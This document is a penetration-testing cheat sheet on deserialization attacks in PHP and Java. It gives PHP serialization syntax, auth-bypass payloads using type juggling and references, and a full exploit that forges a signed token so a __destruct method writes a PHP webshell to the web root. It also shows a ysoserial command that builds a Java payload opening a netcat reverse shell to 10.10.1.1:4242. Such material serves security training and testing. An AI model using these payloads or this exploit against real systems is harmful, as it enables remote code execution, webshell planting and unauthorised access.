Serialization Attacks

Attacking serialization/deserialization routines

PHP

Overview

Look for these functions to trigger:

  • __wakeup() when the payload is unserialized.

  • __destruct() when the payload is deleted.

  • __toString() when the payload is converted to a string.

  • __construct() called upon object creation

Craft the serialized payload with the following syntax

Type
Serialization examples

Null

N;

Boolean

b:1; b:0;

Integer

i:685230; i:-685230;

Floating point

d:685230.15; d:INF; d:-INF; d:NAN;

String

s:5:"apple"; s:6:"A to Z";

Associative array

a:4:{i:0;b:1;i:1;N;i:2;d:-421000000;i:3;s:6:"A to Z";} a:2:{i:42;b:1;s:6:"A to Z";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}}

Object

O:8:"stdClass":2:{s:4:"John";d:3.14;s:4:"Jane";d:2.718;}

Reference object

O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;} // value of guess references the 2nd item in the array, so it will be the same value as secretCode

Examples

<?php
$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
    $admin = true;
} else {
    $admin = false;
}

Payload:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Because true == "str" is true.

<?php
class ObjectExample
{
  var $guess;
  var $secretCode;
}

$obj = unserialize($_GET['input']);

if($obj) {
    $obj->secretCode = rand(500000,999999);
    if($obj->guess === $obj->secretCode) {
        echo "Win";
    }
}
?>

Payload:

O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}

R:2 means reference the value of the 2nd item in the array. In this case the 2nd item in the array is secretCode, so guess and secretCode will always be equal.

// index.php
...
public static function detokenize($token) {
    list($userdata, $usersig) = explode(\"--\",$token,2);
    $user = NULL;
    if ($usersig !== sign($userdata)){
      header(\"Content-Type: application\/json;\");
      respond_with(Array(\"error\" => \"Invalid authentication token\"));
    } else {
      $user = unserialize(base64_decode(urldecode($userdata)));
    }
    return $user;
  }
...
//file.php
<?php
 
class File {
  public $owner,$uuid, $content;
  public $logfile = "/var/www/logs/application.log";
 
  function __destruct() {
    // Logging access 
    $fd = fopen($this->logfile, 'a');
    fwrite($fd, $_GET['action'].":".$this->uuid.' by '.$this->owner."\n");
    fclose($fd);
  }
[...]

The code in index.php insecurely calls unserialize on the token which is passed in a cookie.

The File object in file.php has a __destruct function which writes to a file.

We can craft a payload such that:

  1. The cookie deserializes to a File object

  2. Set $logfile to a path a public folder

  3. Set the contents of $this->uuid and $this->owner to construct a valid PHP webshell

<?php

define('KEY', "ooghie1Z Fae8aish OhT3fie6 Gae2aiza");

function sign($data) {
  return hash_hmac('md5', $data, KEY);
}

function tokenize($user) {
    $token = urlencode(base64_encode(serialize($user))); 
    $token.= "--".sign($token); 
    return $token;
  }

class File {
  //fwrite($fd, $_GET['action'].":".$this->uuid.' by '.$this->owner."");
  public $uuid = '<?php echo system($_GET[0]) ?>';
  public $owner = "";
  public $logfile = "/var/www/pwn.php";
}

echo tokenize(new File());
?>

Java

Overview

Look for readObject() function being called which takes in user data, and deserializes it.

To gain code execution, gadgets need to be found in the libraries loaded by the application. These libraries are not directly vulnerable, but they allow the exploitation of an application using readObject and loading them. Tools like ysoserial can help generate payloads from these gadgets.

To find where serialized objects are being passed to the server, a good indicator is the string rO0, which is the base64 encoded version of \xac\xed\x00that are the starting characters of a serialized object

Examples

In this example application, once we login, we see that the cookie starts with rO0, which means it could be a serialized java object being passes to the backend

We can craft a payload using ysoserial , convert it to base64, and paste it in the cookie value which deserializes the payload

$ java \                                                                                            
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED\                         
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED\                                          
 --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED\                                                                  
 -jar ./ysoserial-all.jar Spring1 'nc -e /bin/sh 10.10.1.1 4242' > payload
 
 $ cat payload | base64 -w0

Last updated